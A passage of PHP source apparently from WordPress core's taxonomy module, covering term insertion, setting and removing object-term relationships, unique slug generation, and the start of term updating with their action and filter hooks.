		$alias = get_term_by( 'slug', $args['alias_of'], $taxonomy );
		if ( ! empty( $alias->term_group ) ) {
			// The alias we want is already in a group, so let's use that one.
			$term_group = $alias->term_group;
		} elseif ( ! empty( $alias->term_id ) ) {
			/*
			 * The alias is not in a group, so we create a new one
			 * and add the alias to it.
			 */
			$term_group = $wpdb->get_var( "SELECT MAX(term_group) FROM $wpdb->terms" ) + 1;

			wp_update_term(
				$alias->term_id,
				$taxonomy,
				array(
					'term_group' => $term_group,
				)
			);
		}
	}

	/*
	 * Prevent the creation of terms with duplicate names at the same level of a taxonomy hierarchy,
	 * unless a unique slug has been explicitly provided.
	 */
	$name_matches = get_terms(
		array(
			'taxonomy'               => $taxonomy,
			'name'                   => $name,
			'hide_empty'             => false,
			'parent'                 => $args['parent'],
			'update_term_meta_cache' => false,
		)
	);

	/*
	 * The `name` match in `get_terms()` doesn't differentiate accented characters,
	 * so we do a stricter comparison here.
	 */
	$name_match = null;
	if ( $name_matches ) {
		foreach ( $name_matches as $_match ) {
			if ( strtolower( $name ) === strtolower( $_match->name ) ) {
				$name_match = $_match;
				break;
			}
		}
	}

	if ( $name_match ) {
		$slug_match = get_term_by( 'slug', $slug, $taxonomy );
		if ( ! $slug_provided || $name_match->slug === $slug || $slug_match ) {
			if ( is_taxonomy_hierarchical( $taxonomy ) ) {
				$siblings = get_terms(
					array(
						'taxonomy'               => $taxonomy,
						'get'                    => 'all',
						'parent'                 => $parent,
						'update_term_meta_cache' => false,
					)
				);

				$existing_term = null;
				$sibling_names = wp_list_pluck( $siblings, 'name' );
				$sibling_slugs = wp_list_pluck( $siblings, 'slug' );

				if ( ( ! $slug_provided || $name_match->slug === $slug ) && in_array( $name, $sibling_names, true ) ) {
					$existing_term = $name_match;
				} elseif ( $slug_match && in_array( $slug, $sibling_slugs, true ) ) {
					$existing_term = $slug_match;
				}

				if ( $existing_term ) {
					return new WP_Error( 'term_exists', __( 'A term with the name provided already exists with this parent.' ), $existing_term->term_id );
				}
			} else {
				return new WP_Error( 'term_exists', __( 'A term with the name provided already exists in this taxonomy.' ), $name_match->term_id );
			}
		}
	}

	$slug = wp_unique_term_slug( $slug, (object) $args );

	$data = compact( 'name', 'slug', 'term_group' );

	/**
	 * Filters term data before it is inserted into the database.
	 *
	 * @since 4.7.0
	 *
	 * @param array  $data     Term data to be inserted.
	 * @param string $taxonomy Taxonomy slug.
	 * @param array  $args     Arguments passed to wp_insert_term().
	 */
	$data = apply_filters( 'wp_insert_term_data', $data, $taxonomy, $args );

	if ( false === $wpdb->insert( $wpdb->terms, $data ) ) {
		return new WP_Error( 'db_insert_error', __( 'Could not insert term into the database.' ), $wpdb->last_error );
	}

	$term_id = (int) $wpdb->insert_id;

	// Seems unreachable. However, is used in the case that a term name is provided, which sanitizes to an empty string.
	if ( empty( $slug ) ) {
		$slug = sanitize_title( $slug, $term_id );

		/** This action is documented in wp-includes/taxonomy.php */
		do_action( 'edit_terms', $term_id, $taxonomy );
		$wpdb->update( $wpdb->terms, compact( 'slug' ), compact( 'term_id' ) );

		/** This action is documented in wp-includes/taxonomy.php */
		do_action( 'edited_terms', $term_id, $taxonomy );
	}

	$tt_id = $wpdb->get_var( $wpdb->prepare( "SELECT tt.term_taxonomy_id FROM $wpdb->term_taxonomy AS tt INNER JOIN $wpdb->terms AS t ON tt.term_id = t.term_id WHERE tt.taxonomy = %s AND t.term_id = %d", $taxonomy, $term_id ) );

	if ( ! empty( $tt_id ) ) {
		return array(
			'term_id'          => $term_id,
			'term_taxonomy_id' => $tt_id,
		);
	}

	if ( false === $wpdb->insert( $wpdb->term_taxonomy, compact( 'term_id', 'taxonomy', 'description', 'parent' ) + array( 'count' => 0 ) ) ) {
		return new WP_Error( 'db_insert_error', __( 'Could not insert term taxonomy into the database.' ), $wpdb->last_error );
	}

	$tt_id = (int) $wpdb->insert_id;

	/*
	 * Confidence check: if we just created a term with the same parent + taxonomy + slug but a higher term_id than
	 * an existing term, then we have unwittingly created a duplicate term. Delete the dupe, and use the term_id
	 * and term_taxonomy_id of the older term instead. Then return out of the function so that the "create" hooks
	 * are not fired.
	 */
	$duplicate_term = $wpdb->get_row( $wpdb->prepare( "SELECT t.term_id, t.slug, tt.term_taxonomy_id, tt.taxonomy FROM $wpdb->terms AS t INNER JOIN $wpdb->term_taxonomy AS tt ON ( tt.term_id = t.term_id ) WHERE t.slug = %s AND tt.parent = %d AND tt.taxonomy = %s AND t.term_id < %d AND tt.term_taxonomy_id != %d", $slug, $parent, $taxonomy, $term_id, $tt_id ) );

	/**
	 * Filters the duplicate term check that takes place during term creation.
	 *
	 * Term parent + taxonomy + slug combinations are meant to be unique, and wp_insert_term()
	 * performs a last-minute confirmation of this uniqueness before allowing a new term
	 * to be created. Plugins with different uniqueness requirements may use this filter
	 * to bypass or modify the duplicate-term check.
	 *
	 * @since 5.1.0
	 *
	 * @param object $duplicate_term Duplicate term row from terms table, if found.
	 * @param string $term           Term being inserted.
	 * @param string $taxonomy       Taxonomy name.
	 * @param array  $args           Arguments passed to wp_insert_term().
	 * @param int    $tt_id          term_taxonomy_id for the newly created term.
	 */
	$duplicate_term = apply_filters( 'wp_insert_term_duplicate_term_check', $duplicate_term, $term, $taxonomy, $args, $tt_id );

	if ( $duplicate_term ) {
		$wpdb->delete( $wpdb->terms, array( 'term_id' => $term_id ) );
		$wpdb->delete( $wpdb->term_taxonomy, array( 'term_taxonomy_id' => $tt_id ) );

		$term_id = (int) $duplicate_term->term_id;
		$tt_id   = (int) $duplicate_term->term_taxonomy_id;

		clean_term_cache( $term_id, $taxonomy );
		return array(
			'term_id'          => $term_id,
			'term_taxonomy_id' => $tt_id,
		);
	}

	/**
	 * Fires immediately after a new term is created, before the term cache is cleaned.
	 *
	 * The {@see 'create_$taxonomy'} hook is also available for targeting a specific
	 * taxonomy.
	 *
	 * @since 2.3.0
	 * @since 6.1.0 The `$args` parameter was added.
	 *
	 * @param int    $term_id  Term ID.
	 * @param int    $tt_id    Term taxonomy ID.
	 * @param string $taxonomy Taxonomy slug.
	 * @param array  $args     Arguments passed to wp_insert_term().
	 */
	do_action( 'create_term', $term_id, $tt_id, $taxonomy, $args );

	/**
	 * Fires after a new term is created for a specific taxonomy.
	 *
	 * The dynamic portion of the hook name, `$taxonomy`, refers
	 * to the slug of the taxonomy the term was created for.
	 *
	 * Possible hook names include:
	 *
	 *  - `create_category`
	 *  - `create_post_tag`
	 *
	 * @since 2.3.0
	 * @since 6.1.0 The `$args` parameter was added.
	 *
	 * @param int   $term_id Term ID.
	 * @param int   $tt_id   Term taxonomy ID.
	 * @param array $args    Arguments passed to wp_insert_term().
	 */
	do_action( "create_{$taxonomy}", $term_id, $tt_id, $args );

	/**
	 * Filters the term ID after a new term is created.
	 *
	 * @since 2.3.0
	 * @since 6.1.0 The `$args` parameter was added.
	 *
	 * @param int   $term_id Term ID.
	 * @param int   $tt_id   Term taxonomy ID.
	 * @param array $args    Arguments passed to wp_insert_term().
	 */
	$term_id = apply_filters( 'term_id_filter', $term_id, $tt_id, $args );

	clean_term_cache( $term_id, $taxonomy );

	/**
	 * Fires after a new term is created, and after the term cache has been cleaned.
	 *
	 * The {@see 'created_$taxonomy'} hook is also available for targeting a specific
	 * taxonomy.
	 *
	 * @since 2.3.0
	 * @since 6.1.0 The `$args` parameter was added.
	 *
	 * @param int    $term_id  Term ID.
	 * @param int    $tt_id    Term taxonomy ID.
	 * @param string $taxonomy Taxonomy slug.
	 * @param array  $args     Arguments passed to wp_insert_term().
	 */
	do_action( 'created_term', $term_id, $tt_id, $taxonomy, $args );

	/**
	 * Fires after a new term in a specific taxonomy is created, and after the term
	 * cache has been cleaned.
	 *
	 * The dynamic portion of the hook name, `$taxonomy`, refers to the taxonomy slug.
	 *
	 * Possible hook names include:
	 *
	 *  - `created_category`
	 *  - `created_post_tag`
	 *
	 * @since 2.3.0
	 * @since 6.1.0 The `$args` parameter was added.
	 *
	 * @param int   $term_id Term ID.
	 * @param int   $tt_id   Term taxonomy ID.
	 * @param array $args    Arguments passed to wp_insert_term().
	 */
	do_action( "created_{$taxonomy}", $term_id, $tt_id, $args );

	/**
	 * Fires after a term has been saved, and the term cache has been cleared.
	 *
	 * The {@see 'saved_$taxonomy'} hook is also available for targeting a specific
	 * taxonomy.
	 *
	 * @since 5.5.0
	 * @since 6.1.0 The `$args` parameter was added.
	 *
	 * @param int    $term_id  Term ID.
	 * @param int    $tt_id    Term taxonomy ID.
	 * @param string $taxonomy Taxonomy slug.
	 * @param bool   $update   Whether this is an existing term being updated.
	 * @param array  $args     Arguments passed to wp_insert_term().
	 */
	do_action( 'saved_term', $term_id, $tt_id, $taxonomy, false, $args );

	/**
	 * Fires after a term in a specific taxonomy has been saved, and the term
	 * cache has been cleared.
	 *
	 * The dynamic portion of the hook name, `$taxonomy`, refers to the taxonomy slug.
	 *
	 * Possible hook names include:
	 *
	 *  - `saved_category`
	 *  - `saved_post_tag`
	 *
	 * @since 5.5.0
	 * @since 6.1.0 The `$args` parameter was added.
	 *
	 * @param int   $term_id Term ID.
	 * @param int   $tt_id   Term taxonomy ID.
	 * @param bool  $update  Whether this is an existing term being updated.
	 * @param array $args    Arguments passed to wp_insert_term().
	 */
	do_action( "saved_{$taxonomy}", $term_id, $tt_id, false, $args );

	return array(
		'term_id'          => $term_id,
		'term_taxonomy_id' => $tt_id,
	);
}

/**
 * Creates term and taxonomy relationships.
 *
 * Relates an object (post, link, etc.) to a term and taxonomy type. Creates the
 * term and taxonomy relationship if it doesn't already exist. Creates a term if
 * it doesn't exist (using the slug).
 *
 * A relationship means that the term is grouped in or belongs to the taxonomy.
 * A term has no meaning until it is given context by defining which taxonomy it
 * exists under.
 *
 * @since 2.3.0
 *
 * @global wpdb $wpdb WordPress database abstraction object.
 *
 * @param int              $object_id The object to relate to.
 * @param string|int|array $terms     A single term slug, single term ID, or array of either term slugs or IDs.
 *                                    Will replace all existing related terms in this taxonomy. Passing an
 *                                    empty array will remove all related terms.
 * @param string           $taxonomy  The context in which to relate the term to the object.
 * @param bool             $append    Optional. If false will delete difference of terms. Default false.
 * @return array|WP_Error Term taxonomy IDs of the affected terms or WP_Error on failure.
 */
function wp_set_object_terms( $object_id, $terms, $taxonomy, $append = false ) {
	global $wpdb;

	$object_id = (int) $object_id;

	if ( ! taxonomy_exists( $taxonomy ) ) {
		return new WP_Error( 'invalid_taxonomy', __( 'Invalid taxonomy.' ) );
	}

	if ( empty( $terms ) ) {
		$terms = array();
	} elseif ( ! is_array( $terms ) ) {
		$terms = array( $terms );
	}

	if ( ! $append ) {
		$old_tt_ids = wp_get_object_terms(
			$object_id,
			$taxonomy,
			array(
				'fields'                 => 'tt_ids',
				'orderby'                => 'none',
				'update_term_meta_cache' => false,
			)
		);
	} else {
		$old_tt_ids = array();
	}

	$tt_ids     = array();
	$term_ids   = array();
	$new_tt_ids = array();

	foreach ( (array) $terms as $term ) {
		if ( '' === trim( $term ) ) {
			continue;
		}

		$term_info = term_exists( $term, $taxonomy );

		if ( ! $term_info ) {
			// Skip if a non-existent term ID is passed.
			if ( is_int( $term ) ) {
				continue;
			}

			$term_info = wp_insert_term( $term, $taxonomy );
		}

		if ( is_wp_error( $term_info ) ) {
			return $term_info;
		}

		$term_ids[] = $term_info['term_id'];
		$tt_id      = $term_info['term_taxonomy_id'];
		$tt_ids[]   = $tt_id;

		if ( $wpdb->get_var( $wpdb->prepare( "SELECT term_taxonomy_id FROM $wpdb->term_relationships WHERE object_id = %d AND term_taxonomy_id = %d", $object_id, $tt_id ) ) ) {
			continue;
		}

		/**
		 * Fires immediately before an object-term relationship is added.
		 *
		 * @since 2.9.0
		 * @since 4.7.0 Added the `$taxonomy` parameter.
		 *
		 * @param int    $object_id Object ID.
		 * @param int    $tt_id     Term taxonomy ID.
		 * @param string $taxonomy  Taxonomy slug.
		 */
		do_action( 'add_term_relationship', $object_id, $tt_id, $taxonomy );

		$wpdb->insert(
			$wpdb->term_relationships,
			array(
				'object_id'        => $object_id,
				'term_taxonomy_id' => $tt_id,
			)
		);

		/**
		 * Fires immediately after an object-term relationship is added.
		 *
		 * @since 2.9.0
		 * @since 4.7.0 Added the `$taxonomy` parameter.
		 *
		 * @param int    $object_id Object ID.
		 * @param int    $tt_id     Term taxonomy ID.
		 * @param string $taxonomy  Taxonomy slug.
		 */
		do_action( 'added_term_relationship', $object_id, $tt_id, $taxonomy );

		$new_tt_ids[] = $tt_id;
	}

	if ( $new_tt_ids ) {
		wp_update_term_count( $new_tt_ids, $taxonomy );
	}

	if ( ! $append ) {
		$delete_tt_ids = array_diff( $old_tt_ids, $tt_ids );

		if ( $delete_tt_ids ) {
			$in_delete_tt_ids = "'" . implode( "', '", $delete_tt_ids ) . "'";
			$delete_term_ids  = $wpdb->get_col( $wpdb->prepare( "SELECT tt.term_id FROM $wpdb->term_taxonomy AS tt WHERE tt.taxonomy = %s AND tt.term_taxonomy_id IN ($in_delete_tt_ids)", $taxonomy ) );
			$delete_term_ids  = array_map( 'intval', $delete_term_ids );

			$remove = wp_remove_object_terms( $object_id, $delete_term_ids, $taxonomy );
			if ( is_wp_error( $remove ) ) {
				return $remove;
			}
		}
	}

	$t = get_taxonomy( $taxonomy );

	if ( ! $append && isset( $t->sort ) && $t->sort ) {
		$values     = array();
		$term_order = 0;

		$final_tt_ids = wp_get_object_terms(
			$object_id,
			$taxonomy,
			array(
				'fields'                 => 'tt_ids',
				'update_term_meta_cache' => false,
			)
		);

		foreach ( $tt_ids as $tt_id ) {
			if ( in_array( (int) $tt_id, $final_tt_ids, true ) ) {
				$values[] = $wpdb->prepare( '(%d, %d, %d)', $object_id, $tt_id, ++$term_order );
			}
		}

		if ( $values ) {
			if ( false === $wpdb->query( "INSERT INTO $wpdb->term_relationships (object_id, term_taxonomy_id, term_order) VALUES " . implode( ',', $values ) . ' ON DUPLICATE KEY UPDATE term_order = VALUES(term_order)' ) ) {
				return new WP_Error( 'db_insert_error', __( 'Could not insert term relationship into the database.' ), $wpdb->last_error );
			}
		}
	}

	wp_cache_delete( $object_id, $taxonomy . '_relationships' );
	wp_cache_set_terms_last_changed();

	/**
	 * Fires after an object's terms have been set.
	 *
	 * @since 2.8.0
	 *
	 * @param int    $object_id  Object ID.
	 * @param array  $terms      An array of object term IDs or slugs.
	 * @param array  $tt_ids     An array of term taxonomy IDs.
	 * @param string $taxonomy   Taxonomy slug.
	 * @param bool   $append     Whether to append new terms to the old terms.
	 * @param array  $old_tt_ids Old array of term taxonomy IDs.
	 */
	do_action( 'set_object_terms', $object_id, $terms, $tt_ids, $taxonomy, $append, $old_tt_ids );

	return $tt_ids;
}

/**
 * Adds term(s) associated with a given object.
 *
 * @since 3.6.0
 *
 * @param int              $object_id The ID of the object to which the terms will be added.
 * @param string|int|array $terms     The slug(s) or ID(s) of the term(s) to add.
 * @param array|string     $taxonomy  Taxonomy name.
 * @return array|WP_Error Term taxonomy IDs of the affected terms.
 */
function wp_add_object_terms( $object_id, $terms, $taxonomy ) {
	return wp_set_object_terms( $object_id, $terms, $taxonomy, true );
}

/**
 * Removes term(s) associated with a given object.
 *
 * @since 3.6.0
 *
 * @global wpdb $wpdb WordPress database abstraction object.
 *
 * @param int              $object_id The ID of the object from which the terms will be removed.
 * @param string|int|array $terms     The slug(s) or ID(s) of the term(s) to remove.
 * @param string           $taxonomy  Taxonomy name.
 * @return bool|WP_Error True on success, false or WP_Error on failure.
 */
function wp_remove_object_terms( $object_id, $terms, $taxonomy ) {
	global $wpdb;

	$object_id = (int) $object_id;

	if ( ! taxonomy_exists( $taxonomy ) ) {
		return new WP_Error( 'invalid_taxonomy', __( 'Invalid taxonomy.' ) );
	}

	if ( ! is_array( $terms ) ) {
		$terms = array( $terms );
	}

	$tt_ids = array();

	foreach ( (array) $terms as $term ) {
		if ( '' === trim( $term ) ) {
			continue;
		}

		$term_info = term_exists( $term, $taxonomy );
		if ( ! $term_info ) {
			// Skip if a non-existent term ID is passed.
			if ( is_int( $term ) ) {
				continue;
			}
		}

		if ( is_wp_error( $term_info ) ) {
			return $term_info;
		}

		$tt_ids[] = $term_info['term_taxonomy_id'];
	}

	if ( $tt_ids ) {
		$in_tt_ids = "'" . implode( "', '", $tt_ids ) . "'";

		/**
		 * Fires immediately before an object-term relationship is deleted.
		 *
		 * @since 2.9.0
		 * @since 4.7.0 Added the `$taxonomy` parameter.
		 *
		 * @param int    $object_id Object ID.
		 * @param array  $tt_ids    An array of term taxonomy IDs.
		 * @param string $taxonomy  Taxonomy slug.
		 */
		do_action( 'delete_term_relationships', $object_id, $tt_ids, $taxonomy );

		$deleted = $wpdb->query( $wpdb->prepare( "DELETE FROM $wpdb->term_relationships WHERE object_id = %d AND term_taxonomy_id IN ($in_tt_ids)", $object_id ) );

		wp_cache_delete( $object_id, $taxonomy . '_relationships' );
		wp_cache_set_terms_last_changed();

		/**
		 * Fires immediately after an object-term relationship is deleted.
		 *
		 * @since 2.9.0
		 * @since 4.7.0 Added the `$taxonomy` parameter.
		 *
		 * @param int    $object_id Object ID.
		 * @param array  $tt_ids    An array of term taxonomy IDs.
		 * @param string $taxonomy  Taxonomy slug.
		 */
		do_action( 'deleted_term_relationships', $object_id, $tt_ids, $taxonomy );

		wp_update_term_count( $tt_ids, $taxonomy );

		return (bool) $deleted;
	}

	return false;
}

/**
 * Makes term slug unique, if it isn't already.
 *
 * The `$slug` has to be unique global to every taxonomy, meaning that one
 * taxonomy term can't have a matching slug with another taxonomy term. Each
 * slug has to be globally unique for every taxonomy.
 *
 * The way this works is that if the taxonomy that the term belongs to is
 * hierarchical and has a parent, it will append that parent to the $slug.
 *
 * If that still doesn't return a unique slug, then it tries to append a number
 * until it finds a number that is truly unique.
 *
 * The only purpose for `$term` is for appending a parent, if one exists.
 *
 * @since 2.3.0
 *
 * @global wpdb $wpdb WordPress database abstraction object.
 *
 * @param string $slug The string that will be tried for a unique slug.
 * @param object $term The term object that the `$slug` will belong to.
 * @return string Will return a true unique slug.
 */
function wp_unique_term_slug( $slug, $term ) {
	global $wpdb;

	$needs_suffix  = true;
	$original_slug = $slug;

	// As of 4.1, duplicate slugs are allowed as long as they're in different taxonomies.
	if ( ! term_exists( $slug ) || get_option( 'db_version' ) >= 30133 && ! get_term_by( 'slug', $slug, $term->taxonomy ) ) {
		$needs_suffix = false;
	}

	/*
	 * If the taxonomy supports hierarchy and the term has a parent, make the slug unique
	 * by incorporating parent slugs.
	 */
	$parent_suffix = '';
	if ( $needs_suffix && is_taxonomy_hierarchical( $term->taxonomy ) && ! empty( $term->parent ) ) {
		$the_parent = $term->parent;
		while ( ! empty( $the_parent ) ) {
			$parent_term = get_term( $the_parent, $term->taxonomy );
			if ( is_wp_error( $parent_term ) || empty( $parent_term ) ) {
				break;
			}
			$parent_suffix .= '-' . $parent_term->slug;
			if ( ! term_exists( $slug . $parent_suffix ) ) {
				break;
			}

			if ( empty( $parent_term->parent ) ) {
				break;
			}
			$the_parent = $parent_term->parent;
		}
	}

	// If we didn't get a unique slug, try appending a number to make it unique.

	/**
	 * Filters whether the proposed unique term slug is bad.
	 *
	 * @since 4.3.0
	 *
	 * @param bool   $needs_suffix Whether the slug needs to be made unique with a suffix.
	 * @param string $slug         The slug.
	 * @param object $term         Term object.
	 */
	if ( apply_filters( 'wp_unique_term_slug_is_bad_slug', $needs_suffix, $slug, $term ) ) {
		if ( $parent_suffix ) {
			$slug .= $parent_suffix;
		}

		if ( ! empty( $term->term_id ) ) {
			$query = $wpdb->prepare( "SELECT slug FROM $wpdb->terms WHERE slug = %s AND term_id != %d", $slug, $term->term_id );
		} else {
			$query = $wpdb->prepare( "SELECT slug FROM $wpdb->terms WHERE slug = %s", $slug );
		}

		if ( $wpdb->get_var( $query ) ) { // phpcs:ignore WordPress.DB.PreparedSQL.NotPrepared
			$num = 2;
			do {
				$alt_slug = $slug . "-$num";
				++$num;
				$slug_check = $wpdb->get_var( $wpdb->prepare( "SELECT slug FROM $wpdb->terms WHERE slug = %s", $alt_slug ) );
			} while ( $slug_check );
			$slug = $alt_slug;
		}
	}

	/**
	 * Filters the unique term slug.
	 *
	 * @since 4.3.0
	 *
	 * @param string $slug          Unique term slug.
	 * @param object $term          Term object.
	 * @param string $original_slug Slug originally passed to the function for testing.
	 */
	return apply_filters( 'wp_unique_term_slug', $slug, $term, $original_slug );
}

/**
 * Updates term based on arguments provided.
 *
 * The `$args` will indiscriminately override all values with the same field name.
 * Care must be taken to not override important information need to update or
 * update will fail (or perhaps create a new term, neither would be acceptable).
 *
 * Defaults will set 'alias_of', 'description', 'parent', and 'slug' if not
 * defined in `$args` already.
 *
 * 'alias_of' will create a term group, if it doesn't already exist, and
 * update it for the `$term`.
 *
 * If the 'slug' argument in `$args` is missing, then the 'name' will be used.
 * If you set 'slug' and it isn't unique, then a WP_Error is returned.
 * If you don't pass any slug, then a unique one will be created.
 *
 * @since 2.3.0
 *
 * @global wpdb $wpdb WordPress database abstraction object.
 *
 * @param int          $term_id  The ID of the term.
 * @param string       $taxonomy The taxonomy of the term.
 * @param array        $args {
 *     Optional. Array of arguments for updating a term.
 *
 *     @type string $alias_of    Slug of the term to make this term an alias of.
 *                               Default empty string. Accepts a term slug.
 *     @type string $description The term description. Default empty string.
 *     @type int    $parent      The id of the parent term. Default 0.
 *     @type string $slug        The term slug to use. Default empty string.
 * }
 * @return array|WP_Error An array containing the `term_id` and `term_taxonomy_id`,
 *                        WP_Error otherwise.
 */
function wp_update_term( $term_id, $taxonomy, $args = array() ) {
	global $wpdb;

	if ( ! taxonomy_exists( $taxonomy ) ) {
		return new WP_Error( 'invalid_taxonomy', __( 'Invalid taxonomy.' ) );
	}

	$term_id = (int) $term_id;

	// First, get all of the original args.
	$term = get_term( $term_id, $taxonomy );

	if ( is_wp_error( $term ) ) {
		return $term;
	}

	if ( ! $term ) {
		return new WP_Error( 'invalid_term', __( 'Empty Term.' ) );
	}

	$term = (array) $term->data;

	// Escape data pulled from DB.
	$term = wp_slash( $term );

	// Merge old and new args with new args overwriting old ones.
	$args = array_merge( $term, $args );

	$defaults    = array(
		'alias_of'    => '',
		'description' => '',
		'parent'      => 0,
		'slug'        => '',
	);
	$args        = wp_parse_args( $args, $defaults );
	$args        = sanitize_term( $args, $taxonomy, 'db' );
	$parsed_args = $args;

	// expected_slashed ($name)
	$name        = wp_unslash( $args['name'] );
	$description = wp_unslash( $args['description'] );

	$parsed_args['name']        = $name;
	$parsed_args['description'] = $description;

	if ( '' === trim( $name ) ) {
		return new WP_Error( 'empty_term_name', __( 'A name is required for this term.' ) );
	}

	if ( (int) $parsed_args['parent'] > 0 && ! term_exists( (int) $parsed_args['parent'] ) ) {
		return new WP_Error( 'missing_parent', __( 'Parent term does not exist.' ) );
	}

	$empty_slug = false;
	if ( empty( $args['slug'] ) ) {
		$empty_slug = true;
		$slug       = sanitize_title( $name );
	} else {
		$slug = $args['slug'];
	}

	$parsed_args['slug'] = $slug;

	$term_group = isset( $parsed_args['term_group'] ) ? $parsed_args['term_group'] : 0;
	if ( $args['alias_of'] ) {
		$alias = get_term_by( 'slug', $args['alias_of'], $taxonomy );
		if ( ! empty( $alias->term_group ) ) {
			// The alias we want is already in a group, so let's use that one.
			$term_group = $alias->term_group;
		} elseif ( ! empty( $alias->term_id ) ) {
			/*
			 * The alias is not in a group, so we create a new one
			 * and add the alias to it.
			 */
			$term_group = $wpdb->get_var( "SELECT MAX(term_group) FROM $wpdb->terms" ) + 1;

			wp_update_term(
				$alias->term_id,
				$taxonomy,
				array(
					'term_group' => $term_group,
				)
			);
		}

		$parsed_args['term_group'] = $term_group;
	}

	/**
	 * Filters the term parent.
	 *
	 * Hook to this filter to see if it will cause a hierarchy loop.
	 *
	 * @since 3.1.0
	 *
	 * @param int    $parent_term ID of the parent term.
	 * @param int    $term_id     Term ID.
	 * @param string $taxonomy    Taxonomy slug.
	 * @param array  $parsed_args An array of potentially altered update arguments for the given term.
	 * @param array  $args        Arguments passed to wp_update_term().
	 */
	$parent = (int) apply_filters( 'wp_update_term_parent', $args['parent'], $term_id, $taxonomy, $parsed_args, $args );

	// Check for duplicate slug.
	$duplicate = get_term_by( 'slug', $slug, $taxonomy );
	if ( $duplicate && $duplicate->term_id !== $term_id ) {
		/*
		 * If an empty slug was passed or the parent changed, reset the slug to something unique.
		 * Otherwise, bail.
		 */
		if ( $empty_slug || ( $parent !== (int) $term['parent'] ) ) {
			$slug = wp_unique_term_slug( $slug, (object) $args );
		} else {
			/* translators: %s: Taxonomy term slug. */
			return new WP_Error( 'duplicate_term_slug', sprintf( __( 'The slug &#8220;%s&#8221; is already in use by another term.' ), $slug ) );
		}
	}

	$tt_id = (int) $wpdb->get_var( $wpdb->prepare( "SELECT tt.term_taxonomy_id FROM $wpdb->term_taxonomy AS tt INNER JOIN $wpdb->terms AS t ON tt.term_id = t.term_id WHERE tt.taxonomy = %s AND t.term_id = %d", $taxonomy, $term_id ) );

	// Check whether this is a shared term that needs splitting.
	$_term_id = _split_shared_term( $term_id, $tt_id );
	if ( ! is_wp_error( $_term_id ) ) {
		$term_id = $_term_id;
	}

	/**
	 * Fires immediately before the given terms are edited.
	 *
	 * @since 2.9.0
	 * @since 6.1.0 The `$args` parameter was added.
	 *
	 * @param int    $term_id  Term ID.
	 * @param string $taxonomy Taxonomy slug.
	 * @param array  $args     Arguments passed to wp_update_term().
	 */
	do_action( 'edit_terms', $term_id, $taxonomy, $args );

	$data = compact( 'name', 'slug', 'term_group' );

	/**
	 * Filters term data before it is updated in the database.
	 *
	 * @since 4.7.0
	 *
	 * @param array  $data     Term data to be updated.
	 * @param int    $term_id  Term ID.
	 * @param string $taxonomy Taxonomy slug.
	 * @param array  $args     Arguments passed to wp_update_term().
	 */
	$data = apply_filters( 'wp_update_term_data', $data, $term_id, $taxonomy, $args );

	$wpdb->update( $wpdb->terms, $data, compact( 'term_id' ) );

	if ( empty( $slug ) ) {
		$slug = sanitize_title( $name, $term_id );
		$wpdb->update( $wpdb->terms, compact( 'slug' ), compact( 'term_id' ) );
	}

	/**
	 * Fires immediately after a term is updated in the database, but before its
	 * term-taxonomy relationship is updated.
	 *
	 * @since 2.9.0
	 * @since 6.1.0 The `$args` parameter was added.
	 *
	 * @param int    $term_id  Term ID.
	 * @param string $taxonomy Taxonomy slug.
	 * @param array  $args     Arguments passed to wp_update_term().
	 */
	do_action( 'edited_terms', $term_id, $taxonomy, $args );

	/**
	 * Fires immediate before a term-taxonomy relationship is updated.
	 *
	 * @since 2.9.0
	 * @since 6.1.0 The `$args` parameter was added.
	 *
	 * @param int    $tt_id    Term taxonomy ID.
	 * @param string $taxonomy Taxonomy slug.
	 * @param array  $args     Arguments passed to wp_update_term().
	 */
	do_action( 'edit_term_taxonomy', $tt_id, $taxonomy, $args );

	$wpdb->update( $wpdb->term_taxonomy, compact( 'term_id', 'taxonomy', 'description', 'parent' ), array( 'term_taxonomy_id' => $tt_id ) );

	/**
	 * Fires immediately after a term-taxonomy relationship is updated.
	 *
	 * @since 2.9.0
	 * @since 6.1.0 The `$args` parameter was added.
	 *
	 * @param int    $tt_id    Term taxonomy ID.
	 * @param string $taxonomy Taxonomy slug.
	 * @param array  $args     Arguments passed to wp_update_term().
	 */
	do_action( 'edited_term_taxonomy', $tt_id, $taxonomy, $args );

	/**
	 * Fires after a term has been updated, but before the term cache has been cleaned.
	 *
	 * The {@see 'edit_$taxonomy'} hook is also available for targeting a specific
	 * taxonomy.
	 *
	 * @since 2.3.0
	 * @since 6.1.0 The `$args` parameter was added.
	 *
	 * @param int    $term_id  Term ID.
	 * @param int    $tt_id    Term taxonomy ID.
	 * @param string $taxonomy Taxonomy slug.
	 * @param array  $args     Arguments passed to wp_update_term().
	 */
	do_action( 'edit_term', $term_id, $tt_id, $taxonomy, $args );

	/**
	 * Fires after a term in a specific taxonomy has been updated, but before the term
	 * cache has been cleaned.
	 *
	 * The dynamic portion of the hook name, `$taxonomy`, refers to the taxonomy slug.
	 *
	 * Possible hook names include:
	 *
	 *  - `edit_category`
	 *  - `edit_post_tag`
	 *
	 * @since 2.3.0
	 * @since 6.1.0 The `$args` parameter was added.
	 *
	 * @param int   $term_id Term ID.
	 * @param int   $tt_id   Term taxonomy ID.
	 * @param array $args    Arguments passed to wp_update_term().
	 */
	do_action( "edit_{$taxonomy}", $term_id, $tt_id, $args );

	/** This filter is documented in wp-includes/taxonomy.php */
	$term_id = apply_filters( 'term_id_filter', $term_id, $tt_id );

	clean_term_cache( $term_id, $taxonomy );

	/**
	 * Fires after a term has been updated, and the term cache has been cleaned.
	 *
	 * The {@see 'edited_$taxonomy'} hook is also available for targeting a specific
	 * taxonomy.
	 *
	 * @since 2.3.0
	 * @since 6.1.0 The `$args` parameter was added.
	 *
	 * @param int    $term_id  Term ID.
	 * @param int    $tt_id    Term taxonomy ID.
	 * @param string $taxonomy Taxonomy slug.
	 * @param array  $args     Arguments passed to wp_update_term().
	 */
	do_action( 'edited_term', $term_id, $tt_id, $taxonomy, $args );

	/**
	 * Fires after a term for a specific taxonomy has been updated, and the term
	 * cache has been cleaned.
	 *
	 * The dynamic portion of the hook name, `$taxonomy`, refers to the taxonomy slug.
	 *
	 * Possible hook names include:
	 *
	 *  - `edited_category`
	 *  - `edited_post_tag`
	 *
	 * @since 2.3.0
	 * @since 6.1.0 The `$args` parameter was added.
	 *
	 * @param int   $term_id Term ID.
	 * @param int   $tt_id   Term taxonomy ID.
	 * @param array $args    Arguments passed to wp_update_term().
	 */
	do_action( "edited_{$taxonomy}", $term_id, $tt_id, $args );

	/** This action is documented in wp-includes/taxonomy.php */
	do_action( 'saved_term', $term_id, $tt_id, $taxonomy, true, $args );

	/** This action is documented in wp-includes/taxonomy.php */
